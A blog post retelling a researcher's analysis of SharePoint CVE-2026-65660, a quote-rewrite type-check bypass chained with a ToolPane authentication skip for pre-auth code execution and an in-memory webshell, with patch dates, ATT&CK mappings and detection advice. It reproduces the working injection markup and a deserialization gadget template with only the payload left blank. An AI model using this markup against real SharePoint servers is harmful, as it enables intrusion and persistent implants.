core-jmp core-jmpdeath of core jump

SharePoint CVE-2026-65660: From Anonymous Access to Pre-Auth RCE via EditingPageParser Type-Check Bypass

CVE-2026-65660 SharePoint EditingPageParser bypass via RegisterDirective.GetHtml quote rewrite, XamlServices memshell, and ToolPane on AddGallery.aspx for pre-auth RCE when anonymous view is on. Patch 11 Aug 2026.

oxfemale October 2, 2026 21 min read 133 reads
Export PDF
SharePoint CVE-2026-65660: From Anonymous Access to Pre-Auth RCE via EditingPageParser Type-Check Bypass
Original text: "SharePoint CVE-2026-65660: From Anonymous Access to Pre-Auth RCE via EditingPageParser Type-Check Bypass" — khoadha (@_l0gg), Blog of Viettel Cyber Security (22 September 2026). Decompiled snippets, Register markup, call stack, and figures follow the source. This draft does not add a filled LosFormatter payload or a drop-in HTTP exploit. Lab VMs only.
SharePoint CVE-2026-65660 featured art
Original featured image (1672×941). Source: original article.
Three-stage bypass: quotes, safe check, dangerous parse
Check the Register. Rewrite it with double quotes. Parse a different control.

Executive Summary

On 22 September 2026 khoadha of Viettel Cyber Security published CVE-2026-65660: another SharePoint SafeControls / EditingPageParser bypass, this time in ToolPane.GetPartPreviewAndPropertiesFromMarkup(). The special claims are an in-memory webshell (no file drop) and a second, older ToolPane authentication skip that, on sites with anonymous page view, turns the chain into pre-auth RCE. The author says it was used on real projects. Affected: SharePoint 2013, 2016, 2019, and Subscription Edition. Microsoft’s 11 August 2026 patch is the CVE fix; it also disables that ToolPane parser by default. XamlServices.Parse() still builds memshells. Other Design-mode parsers remain.

The type-check bug is a quote-normalization mismatch. Register markup and tag markup are split, Registers are processed, then RegisterDirective.GetHtml() always emits double-quoted attributes. A Src value that starts with a single quote and contains a double quote is rewritten into extra Register text that the first VerifyControlOnSafeList never saw. ignoreParentFrozen is skipped in designer mode so the incomplete directive does not fail. publishingribbon is auto-added to the check table but not to the real parse, so the dangerous namespace can ride that prefix. Gadgets are get/set/static Parse only (DocumentDesigner re-checks lifecycle). The published gadget is ExpandedWrapper around XamlServices + ObjectDataProvider deserializing LosFormatter. Auth: ToolpanePage.OnInit calls SPUtility.EnsureAuthentication(), but any WebPartPage with a zone can new ToolPane() — the screenshot hits AddGallery.aspx, not ToolPane.aspx. That needs anonymous view (typical public sites). June 9, 2026 patched that skip; July 14 still left other Design parsers such as GetWebPartPageConnectionInfo.

These bug can combine together to achive Pre-Auth RCE and create memshell, which help attacker hit harder.

khoadha, Viettel Cyber Security, 22 September 2026
Kitchen table: The security desk checks the visitor form (SafeControls). A clerk later retypes the form using only double quotes (GetHtml). If you started a field with a single quote and hid a second form inside it, the desk stamped the first form and the factory built the second. The front door (ToolPane.aspx) asks for a badge. A side door into the same workshop (AddGallery.aspx) does not, if the building is open to the public. The workshop can assemble a ghost receptionist that never writes a file to disk.
For operators: CWE-94 / CWE-184 on Register serialization; CWE-502 on ObjectDataProvider/LosFormatter; CWE-287 on ToolPane hosted outside ToolpanePage. ATT&CK T1190, T1505.003, T1059. Patch floor for this CVE: 11 August 2026. Also disable anonymous if you do not need it; hunt POSTs to WebPart pages with MSOTlPn_ / ToolPane-shaped markup; assume memshells leave no aspx on disk. Prior art: Muñoz Black Hat 2020 template security, Viettel ToolShell, Code White TemplateParser parts 1–2. This is not a from-scratch gadget paper; it is a SharePoint-specific check/parse split plus an auth-hosting mistake.

How to read this page

  • If you patch SharePoint: 11 August 2026 for CVE-2026-65660; 9 June 2026 for the ToolPane-on-any-WebPartPage skip; do not stop at “ToolPane.aspx is authenticated.”
  • If you hunt: anonymous-enabled web apps, POSTs to AddGallery.aspx and other WebPart pages, designer markup with mixed quotes and publishingribbon, in-memory w3wp children with no new aspx.
  • If ASP.NET templates are new: green boxes. Register is the ingredients list; the tag is the dish; SafeControls is the health inspector who only reads the list.
  • If you already live in ToolShell: the new move is GetHtml always double-quoting Src, ignoreParentFrozen, publishingribbon’s one-sided register table, and XamlServices instead of XamlReader because EventTrace ACLs.

Background the author assumes: Muñoz, Room For Escape (BH USA 2020), SharePoint ToolShell, Code White TemplateParser part 1 and part 2.

Brief

SafeControls bypasses are a genre. This one is called out for two extras: an in-memory webshell, and combination with an authentication skip for unauthenticated RCE. All on-prem families listed above. The author used it on engagements — not a toy. Internet-facing SharePoint with anonymous view is the pre-auth setup Microsoft documents as normal for public sites.

Public lobby of an internet-facing building
Anonymous access for a public SharePoint web application is a supported configuration, not an exotic misconfig.

Bypassing the type check

ToolPane.GetPartPreviewAndPropertiesFromMarkup() calls EditingPageParser.VerifyControlOnSafeList() repeatedly while parsing controls. ToolPane first splits Register markup from tag markup via ServerElementMarkupSource, runs ParseRegisterDirectives on the Register blob, then concatenates processed Registers with the tags and lets TemplateParser parse. Original method, truncated as published:


//Microsoft.SharePoint.WebPartPages.ToolPane.GetPartPreviewAndPropertiesFromMarkup()
internal static MarkupProperties GetPartPreviewAndPropertiesFromMarkup( ) {
//... code truncation
     string source = webPartMarkup.Trim();
      if (!source.StartsWith("<%"))
      {
        flag2 = false;
        throw new WebPartPageUserException(WebPartPageResource.GetString("WebPartMarkupNotDeserialized"));
      }
      ServerElementMarkupSource elementMarkupSource = new ServerElementMarkupSource(source); //Separate the Register markup and Tag markup
      ToolPane.ParseRegisterDirectives(elementMarkupSource.RegisterDirectiveBlob, pageUri, ref registerDirectiveDataList); //Process the Register markup
//... code truncation
      Microsoft.SharePoint.ServerWebApplication webApplication = new Microsoft.SharePoint.ServerWebApplication(manager.Web, manager.LimitedWebPartManager, pageUri);
      documentDesigner = Microsoft.SharePoint.PageParser.CreateAndInitializeDocumentDesigner(pageUri.AbsolutePath, manager.Web, pageUri.AbsolutePath, registerDirectiveDataList, markupOption, (IServerWebApplication) webApplication);
      IServerElementDesigner elementDesigner = (IServerElementDesigner) null;
      string mwd = ToolPane.AddDummyZoneToMWD((string) null, documentDesigner, out elementDesigner);
      IServerElementDesigner nestedElementDesigner = ((IServerNestableDocumentDesigner) documentDesigner).CreateNestedElementDesigner((IServerElementMarkup) elementMarkupSource, elementDesigner, 0, true, blockPropertyTraversal); //Append the processed Register markup with the Tag markup and parse control.
      documentDesigner.OnLoadComplete(false);
//... code truncation
}

VerifyControlOnSafeList runs on the tag markup against registered type names first, then on every processed Register string. The splice is the bug: processed Registers are regenerated by Microsoft.Web.Design.RegisterDirective.GetHtml(), which always wraps values in double quotes with no sanitizing. If a value already contains quotes, you inject extra markup — the author compares it to SQL injection. Original GetHtml:

public void GetHtml(TextWriter sw, bool includeCodeAssembly)
  {
    sw.Write("<%@ Register");
    string tagPrefix = this.TagPrefix;
    if (tagPrefix != null && tagPrefix.Length > 0)
    {
      sw.Write(" TagPrefix=\"");
      sw.Write(tagPrefix);
      sw.Write("\"");
    }
    string tagName = this.TagName;
    if (tagName != null && tagName.Length > 0)
    {
      sw.Write(" TagName=\"");
      sw.Write(tagName);
      sw.Write("\"");
    }
    string str = this.Namespace;
    if (str != null && str.Length > 0)
    {
      sw.Write(" Namespace=\"");
      sw.Write(str);
      sw.Write("\"");
    }
    string assembly = this.Assembly;
    if (assembly != null && assembly.Length > 0)
    {
      sw.Write(" Assembly=\"");
      sw.Write(assembly);
      sw.Write("\"");
    }
    else if (includeCodeAssembly && this.IsCustomControl)
      sw.Write(" Assembly=\"__code\"");
    string src = this.Src;
    if (src != null && src.Length > 0)
    {
      sw.Write(" Src=\"");
      sw.Write(src);
      sw.Write("\"");
    }
    sw.Write(" %>");
  }

After GetHtml, VerifyControlOnSafeList runs again — but a Register directive has no control type to reject. You can inject another directive through Src using mixed quotes. Published example:


<%@ Register Tagprefix="asdf" tagname="test" Src='/_controltemplates/15/AclEditor.ascx" %&gt; &lt;%@ Register Tagprefix="publishingribbon" Namespace="System.Web.UI.WebControls" Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %&gt; &lt;%-- ' %>

Because the tag check happens first and Register strings later, a dangerous namespace can be introduced after the check and before parse. ValidateTypeNames still filters invalid namespaces, so the trick is to split the injected Register: first half in the Register blob, rest in the tag blob, joined by a single quote across the GetHtml rewrite. Published split:


<%@ Register Tagprefix="asdf" tagname="test" Src='/_controltemplates/15/AclEditor.ascx"  %&gt; &lt;%@ Register ignoreParentFrozen=&apos; ' %>


< Update Tagprefix="" /> asdf ' Tagprefix="publishingribbon" Namespace="some dangerous namespace" %>

Src decodes to /_controltemplates/15/AclEditor.ascx" %> <%@ Register ignoreParentFrozen=' — an incomplete extra Register that still passes the checker. After append:


<%@ Register Tagprefix="asdf" tagname="test" Src="/_controltemplates/15/AclEditor.ascx" %> <%@ Register ignoreParentFrozen=' " %>< Update Tagprefix="" /> asdf '  Tagprefix="publishingribbon" Namespace="some dangerous namespace" %>

< Update Tagprefix="" /> exists because ServerElementMarkupSource.TagParser wants a first tag with a valid name and attribute. ignoreParentFrozen exists because in designer mode TemplateParser.ProcessAttributes drops that attribute so the Register does not fail. Original:


//System.Web.UI.TemplateParser.ProcessAttributes()
private string .ProcessAttributes()(string text, Match match, out ParsedAttributeCollection attribs, bool fDirective, out string duplicateAttribute)
{
    string strA = string.Empty;
    attribs = TemplateParser.CreateEmptyAttributeBag();
    CaptureCollection captures1 = match.Groups["attrname"].Captures;
    CaptureCollection captures2 = match.Groups["attrval"].Captures;
    CaptureCollection captureCollection = (CaptureCollection) null;
//...code truncation
    for (int i = 0; i < captures1.Count; ++i)
    {
      string input = captures1[i].ToString();
      if (fDirective)
        input = input.ToLower(CultureInfo.InvariantCulture);
      Capture capture = captures2[i];
      string s = capture.ToString();
      string propName = string.Empty;
      string propertyDeviceFilter = System.Web.UI.Util.ParsePropertyDeviceFilter(input, out propName);
//...code truncation
      else if (this.FInDesigner && StringUtil.EqualsIgnoreCase(propName, "ignoreParentFrozen")) //Ignore ignoreParentFrozen  attribute
        input = (string) null;
//...code truncation
    return strA;
}

Published call stack from GetHtml down to ToolPane:

RegisterDirective.GetHtml() in Microsoft.Web.Design, Microsoft.Web.Design.Server.dll
TopLevelRegisterDirectiveCollection.GetHtmlCollection() in Microsoft.Web.Design, Microsoft.Web.Design.Server.dll
RegisterDirectiveManager.GetRegisterDirectivesHtmlCollection() in Microsoft.Web.Design, Microsoft.Web.Design.Server.dll
ReferenceManager.GetRegisterDirectives() in Microsoft.Web.Design, Microsoft.Web.Design.Server.dll
ControlSerializer.GetDirectives() in System.Web.UI.Design, System.Design.dll
ControlSerializer.DeserializeControlInternal() in System.Web.UI.Design, System.Design.dll
ControlSerializer.DeserializeControl() in System.Web.UI.Design, System.Design.dll
ControlParser.ParseControl() in System.Web.UI.Design, System.Design.dll
DocumentDesigner.CreateElementDesigner() in Microsoft.Web.Design, Microsoft.Web.Design.Server.dll
DocumentDesigner.Microsoft.Web.Design.Interop.IWebDocumentDesigner.CreateElementDesigner() in Microsoft.Web.Design, Microsoft.Web.Design.Server.dll
ServerElement.Initialize() in Microsoft.Web.Design.Server, Microsoft.Web.Design.Server.dll
ServerElement.InitializeChildElement() in Microsoft.Web.Design.Server, Microsoft.Web.Design.Server.dll
ServerDocument.CreateNestedElementDesignerCore() in Microsoft.Web.Design.Server, Microsoft.Web.Design.Server.dll
ServerDocument.Microsoft.Web.Design.Server.IServerNestableDocumentDesigner.CreateNestedElementDesigner() in Microsoft.Web.Design.Server, Microsoft.Web.Design.Server.dll
ToolPane.GetPartPreviewAndPropertiesFromMarkup() in Microsoft.SharePoint.WebPartPages, Microsoft.SharePoint.dll

Any directive can now pass the check. If EditingPageParser cannot find the control’s type name it marks it unsafe — unless the prefix is one InitializeRegisterTable adds during the check but does not add during parse. publishingribbon is that prefix. That is why it appears in the payload.

You can instantiate classes, but only get/set or static Parse gadgets (Code White part 1). DocumentDesigner re-validates created controls, so ASP.NET lifecycle methods (OnInit, OnLoad) are out. XamlServices.Parse() works if wrapped in a generic; the author uses ExpandedWrapper. Full assembly name goes in Namespace; skip Assembly. Final markup as published, {Payload} = LosFormatter blob — we do not fill it:


<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<%@ Register Tagprefix="test" Namespace="System.Windows.Data" Assembly="PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35" %>
<%@ Register Tagprefix="asdf" tagname="test" Src='/_controltemplates/15/AclEditor.ascx" %&gt; &lt;%@ Register ignoreParentFrozen=&apos; ' %>


< Update Tagprefix="" /> asdf ' Tagprefix="publishingribbon" Namespace="System.Data.Services.Internal.ExpandedWrapper`2[[System.Xaml.XamlServices,System.Xaml,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089],[System.Windows.Data.ObjectDataProvider,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35]],System.Data.Services,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089,a=" %>

<asp:UpdateProgress ID="Update" DisplayAfter="10" runat="server">
    <ProgressTemplate>
        <div class="divWaiting">
            <publishingribbon:MobilePanel ExpandedElement="&lt;ObjectDataProvider xmlns=&apos;http://schemas.microsoft.com/winfx/2006/xaml/presentation&apos; xmlns:x=&apos;http://schemas.microsoft.com/winfx/2006/xaml&apos; xmlns:sys=&apos;clr-namespace:System;assembly=mscorlib&apos; xmlns:wui=&apos;clr-namespace:System.Web.UI;assembly=System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a&apos; ObjectType=&apos;{x:Type wui:LosFormatter}&apos;&gt; &lt;ObjectDataProvider.MethodParameters&gt; &lt;sys:String&gt;{Payload}&lt;/sys:String&gt; &lt;/ObjectDataProvider.MethodParameters&gt; &lt;ObjectDataProvider.MethodName&gt;Deserialize&lt;/ObjectDataProvider.MethodName&gt; &lt;/ObjectDataProvider&gt;" runat="Server">

</publishingribbon:MobilePanel>
        </div>
    </ProgressTemplate> 
</asp:UpdateProgress>
Kitchen table: The inspector reads the ingredients list, then a typesetter reprints the list with every value in double quotes. You wrote a value that opened with a single quote and closed with a double quote, so the reprint accidentally includes a second ingredients list. The inspector already stamped the first list. The kitchen cooks from the second. publishingribbon is a stamp the inspector keeps in a drawer and does not put on the ticket.
For operators: Root cause is not “quotes in ASPX.” It is two consumers of the same string with different quote policies, plus a designer-only ignored attribute, plus a check-only TagPrefix table. Fix the serializer (escape quotes), or verify the string that will actually be parsed, not the pre-GetHtml Registers. Microsoft’s August 2026 move — disable this parser by default — is containment of one entry point, not of the gadget class.

In-memory webshell

The markup uses XamlServices.Parse() and ObjectDataProvider, which is why PresentationFramework is loaded. XamlReader.Parse() from that assembly trips registry permission failures whenever EventTrace is used. XamlServices does not. Loading PresentationFramework lets XamlXmlReader map xmlns to ObjectDataProvider; wrapping in ExpandedWrapper is how that type becomes visible to XamlServices.

The author says to copy ActivitySurrogateDisableTypeCheckGenerator’s xaml_payload from ysoserial into ExpandedElement, run ActivitySurrogateSelectorGenerator with LosFormatter, and substitute {Payload}. That is the memshell. This page does not paste a generated blob. The template above is the public one.

In-memory webshell request to AddGallery.aspx
Memshell picture from the original: the POST is AddGallery.aspx, not ToolPane.aspx. Source: original article.
Kitchen table: A file webshell is a spare key left under the mat. A memshell is a receptionist who only exists while the building’s lights are on (w3wp). Reboot or recycle the app pool and the receptionist is gone — until the same POST happens again. Hunts that only look for new .aspx files will bow to an empty disk.
For operators: Hunt w3wp module loads of unexpected managed types, child processes of w3wp, and in-memory .NET assembly loads without a corresponding file in the SharePoint hive. IIS / SharePoint ULS around ToolPane / designer parse errors. Do not require a dropped aspx as the only IOC.

ToolPane authentication bypass

Badge reader on the front door, unlocked side door to the same office
ToolPane.aspx checks a badge. Other WebPart pages still construct a ToolPane.

ToolpanePage authenticates in OnInit:

public class ToolpanePage : WebPartPage
{
  protected override void OnInit(EventArgs e)
  {
    try
    {
      SPUtility.EnsureAuthentication();
    }
//...code Truncation
  }
}

ToolPane is not unique to that page. WebPartPage.OnInit calls ToolPaneCreationAndInitialization:

protected override void OnInit(EventArgs e)
{
	base.OnInit(e);
	if (base.Form != null)
	{
		SPWebPartManager sPWebPartManager = SPWebPartManager;
		if (sPWebPartManager != null)
		{
			if (!Utility.CheckForCustomToolpane(this))
			{
				EmitHiddenWebPartZone();
			}
			sPWebPartManager.m_pageDisplayMode = sPWebPartManager.GetDisplayMode();
			if (sPWebPartManager.Zones != null && sPWebPartManager.Zones.Count > 0)
			{
				ToolPaneCreationAndInitialization(base.Form, sPWebPartManager.m_pageDisplayMode);
//...code truncation
	}
}
private void ToolPaneCreationAndInitialization(HtmlForm form, WebPartDisplayMode displayMode)
{
//...code truncation
	if (displayMode != WebPartManager.BrowseDisplayMode && displayMode != WebPartManager.DesignDisplayMode)
	{
		CreateToolPane(control);
		CreatePlaceHolderCatalogZone(control);
	}
}

CreateToolPane does what it says:

private void CreateToolPane(Control ctrl)
{
	try
	{
		if (SPWebPartManager != null && SPWebPartManager.toolPane == null)
		{
			//...code truncation
			ctrl.Controls.Add(new ToolPane());
			ctrl.Controls.Add(_endTable);
		}
	}
}

Any page that inherits WebPartPage and has a WebPartZone can receive the ToolPane POST without going through ToolpanePage’s EnsureAuthentication. The screenshot is AddGallery.aspx. SPRequestModule still authenticates before the handler if the site requires it — so this skip only helps when anonymous can view pages. That is a documented internet-facing setup: Manage anonymous access for a web application.

The author knew the skip for a long time and did not report it. The 9 June 2026 patch fixed it; no CVE id in the post. On 14 July 2026 patched boxes, use another Design-mode template parser, e.g. WebPartPagesWebService.GetWebPartPageConnectionInfo — “you’ll need to figure how to do this.” We are not figuring it here.

Kitchen table: The workshop’s official entrance has a guard. The same workbench is also reachable from the public gallery’s side door if the gallery is open. Closing the official entrance (patching ToolPane.aspx) is not closing the workbench. June 9 locked more doors. August 11 unplugged one machine on the workbench. Other machines still parse.
For operators: Inventory: (1) anonymous enabled on which zones, (2) patch level vs 2026-06-09 / 2026-07-14 / 2026-08-11, (3) whether GetPartPreviewAndPropertiesFromMarkup is still reachable, (4) other *WebService Design APIs. Pre-auth is not “unauthenticated to the farm.” It is “unauthenticated to a site that already allowed anonymous GET of a WebPart page.” Lock down anonymous if the site is not public.

Patch math and what is still open

Date (2026)What the original says it didWhat it does not do
9 JuneFixed ToolPane-on-any-WebPartPage auth skip (CVE not named)Does not remove SafeControls bypasses
14 JulyStill other Design parsers (example: GetWebPartPageConnectionInfo)Not a full designer lockdown
11 AugustCVE-2026-65660; GetPartPreviewAndPropertiesFromMarkup disabled by defaultXamlServices.Parse memshell still works; other Design parsers still exist
Three Tuesdays. One CVE number in the post. Do not treat “we installed August” as “SharePoint designer parse is safe.”

All listed SharePoint versions. After August, the author’s closing note is that you can still hunt other functions that parse templates in Design and still bypass EditingPageParser. Defenders: patch more often than “when there is a public PoC.” People are holding exploits. Monitor 24/7.

A glossary for both sides of the table

TermKitchenOperator
SafeControls / VerifyControlOnSafeListHealth inspector reading the ingredients list.SharePoint allow-list of types that may be instantiated from markup.
Register directiveThe ingredients list.<%@ Register TagPrefix/Namespace/Assembly/Src %>
GetHtml() double quotesRetyping every field in “.RegisterDirective always emits TagPrefix=”…” etc.
Mixed quotes in SrcStarting a field with ‘ and hiding a second list.Src=’…ascx” %> <%@ Register …
ignoreParentFrozenA checkbox the inspector is told to skip in the studio.Designer-only attribute dropped in ProcessAttributes.
publishingribbonA stamp only used at inspection, not on the ticket.InitializeRegisterTable prefix, absent at parse.
XamlServices.Parse + ODPA recipe robot that will run whatever card you feed it.ObjectDataProvider.Deserialize(LosFormatter).
MemshellA receptionist with no employee file.In-memory implant; no aspx on disk.
ToolpanePage vs WebPartPageGuarded front door vs gallery side door.EnsureAuthentication vs CreateToolPane on any zoned page.
Anonymous viewPublic lobby hours.Supported SP anonymous for internet-facing apps.
Kitchen column is ours; operator column follows khoadha.

ATT&CK, CWE, and what not to file

ThingMapDo not file
Pre-auth RCE via anonymous + ToolPane host + type-check bypassT1190; CWE-94, CWE-287“Unauthenticated to every SharePoint” — needs anonymous view
LosFormatter / ObjectDataProvider memshellT1505.003; CWE-502A new ysoserial gadget family; it is a known generator path
GetHtml quote rewriteCWE-184 / CWE-116 output encodingCWE-89 SQL injection except as metaphor
June 9 auth skipCWE-287CVE-2026-65660 itself; the post says unknown CVE
Two bugs combined in the write-up. One named CVE. Patch both classes.

Detections that do not need a private exploit

  1. Anonymous access enabled on SharePoint web apps that are not supposed to be public.
  2. POSTs to AddGallery.aspx, ToolPane.aspx, and other WebPart pages with bodies containing <%@ Register, mixed quotes, ignoreParentFrozen, publishingribbon, ObjectDataProvider, XamlServices, ExpandedWrapper.
  3. DisplayMode not Browse/Design triggering ToolPane creation (from the OnInit path).
  4. w3wp spawning shells or loading LosFormatter/ActivitySurrogate types without a corresponding hive file write.
  5. ULS / IIS errors from EditingPageParser / PageParser / GetPartPreviewAndPropertiesFromMarkup around the same timestamp.
  6. Patch inventory: 2026-06-09, 2026-07-14, 2026-08-11. “N-1 month” is not enough this year.

False positives: legitimate designer traffic from farm admins. Scope to anonymous clients, unusual User-Agents, and paths that are not the admin workstation subnet. Absence of a new aspx is not absence of RCE.

What this is not

  • Not a complete HTTP client. The Register/tag snippets and decompiled methods are the public record. {Payload} stays a placeholder.
  • Not a claim that every SharePoint on the internet is pre-auth RCE. Anonymous view is required for the side-door story.
  • Not “August 11 ended designer parse.” The author says the opposite.
  • Not a new deserialization gadget. It is a SharePoint check/parse split that lets a known gadget onto the designer path.

Related reading the author already listed

Why GetHtml is the interesting function, not VerifyControlOnSafeList

A lot of SharePoint RCEs are “the allow-list missed a type.” This one is “the allow-list saw a different string than the parser.” VerifyControlOnSafeList can be correct on every string it is given and still lose, because GetHtml mutates Registers before parse. Security reviews that only grep for missing SafeControl entries will not see this. Reviews that dump the exact bytes passed to TemplateParser after GetHtml will.

The mixed-quote Src is the mutation primitive. ASP.NET attribute parsing treats the opening quote as the closer. GetHtml then always emits “. That is two quote languages on one field. ignoreParentFrozen is grease so the incomplete directive does not throw in designer. publishingribbon is a prefix that exists only on the checker’s clipboard. None of those three is a memory corruption. Together they are a parser differential.

DocumentDesigner’s second SafeControls pass is why lifecycle gadgets die and Parse/get/set gadgets live. That is the Code White constraint applied inside SharePoint’s designer, not a SharePoint-only invention. XamlServices vs XamlReader is an ACL story on EventTrace, not a cryptography story. Load PresentationFramework, wrap ObjectDataProvider, deserialize LosFormatter — the rest is ysoserial operationalization the author points at rather than pastes.

Anonymous SharePoint is not “we forgot NTLM”

Public marketing sites on SharePoint often allow anonymous GET. That is the scenario Microsoft’s anonymous-access article describes. The pre-auth claim in the title is: on that standard setup, you did not need a farm account, a site-collection admin, or a leaked cookie. You needed a WebPart page you could already see. Intranet farms that require auth on every GET are outside that sentence. They still have CVE-2026-65660 if a low-priv authenticated user can hit a Design parser — a different ticket, still patch.

June 9’s unreported skip is the part that made anonymous matter: ToolPane.aspx was never the only host. If your WAF only virtual-patches ToolPane.aspx, you implemented the author’s screenshot in reverse. AddGallery.aspx and every other zoned WebPartPage were the point.

A kitchen walk through the whole building

You walk into a public lobby (anonymous). You do not go to the badge-only workshop door (ToolPane.aspx). You go to the gallery side door (AddGallery.aspx) and hand the clerk a parts list. The inspector stamps the list. A typesetter retypes it with double quotes and accidentally includes a second list the inspector never saw. The workbench builds a ghost receptionist from a recipe card (XAML / LosFormatter) and never files an employee record on disk. August 11 unplugs one workbench model. The recipe robot still exists. Other workbenches still parse lists in Design mode.

If you own the building: lock the lobby if it should not be public, install the August CU, assume June and July matter too, watch POSTs with Register markup, and do not wait for a dropped aspx. If you hunt: the original memshell picture is your first packet shape. If you patch: “disabled by default” is not “removed from the DLL.”

Key Takeaways

  • CVE-2026-65660: EditingPageParser type-check bypass in ToolPane.GetPartPreviewAndPropertiesFromMarkup via GetHtml always double-quoting Register attributes.
  • Mixed quotes + ignoreParentFrozen + publishingribbon prefix split let a dangerous namespace appear after the check and before parse.
  • RCE gadget in the post: ExpandedWrapper / XamlServices.Parse / ObjectDataProvider / LosFormatter. Memshell; no aspx required. XamlReader hits EventTrace ACLs; XamlServices does not.
  • Pre-auth when combined with ToolPane hosted on any zoned WebPartPage (AddGallery.aspx) plus anonymous view. ToolpanePage.EnsureAuthentication is not the only gate. June 9 2026 patched that skip.
  • CVE fix: 11 August 2026; parser disabled by default. XamlServices memshell and other Design parsers remain. All of 2013/2016/2019/SE.
  • Defenders: patch faster than public PoCs; monitor 24/7. Author used this on real projects.

Defensive Recommendations

  1. Install the 11 August 2026 SharePoint security update (CVE-2026-65660) and confirm GetPartPreviewAndPropertiesFromMarkup is not re-enabled.
  2. Confirm 9 June 2026 (ToolPane host skip) and 14 July 2026 are in the image, not only August.
  3. Disable anonymous access on web apps that are not public. Document the ones that are.
  4. WAF/IDS: mixed-quote Register, ignoreParentFrozen, publishingribbon+ExpandedWrapper/ObjectDataProvider, POSTs to AddGallery.aspx and ToolPane.aspx from anonymous.
  5. Hunt memshells: w3wp behavior without hive file writes; recycle pools after suspected exploitation and watch for re-implant.
  6. Do not treat “no new aspx” or “ToolPane.aspx requires auth” as close-out.
  7. Read Muñoz / ToolShell / Code White before writing a detection that only keys on one CVE string.
  8. Lab the public snippets on an isolated farm if you must; do not paste a filled LosFormatter blob into production logs as a “test.”

Conclusion

A typesetter who always uses double quotes, an inspector who reads the old list, a stamp that exists only at inspection, and a workshop door that is not the one with the guard: that is CVE-2026-65660 plus the ToolPane host skip, as khoadha shipped it. On a public SharePoint it is pre-auth RCE and a receptionist with no personnel file. August 11 turns off one parser by default. The recipe robot and the other Design benches are still in the building. Patch the three Tuesdays, close anonymous if you can, watch the side door, and leave ysoserial in a VM you intend to delete.

Original text: “SharePoint CVE-2026-65660: From Anonymous Access to Pre-Auth RCE via EditingPageParser Type-Check Bypass” by khoadha at Blog of Viettel Cyber Security.

oxfemale Vulnerability research, reverse engineering, and exploit development.
// Discussion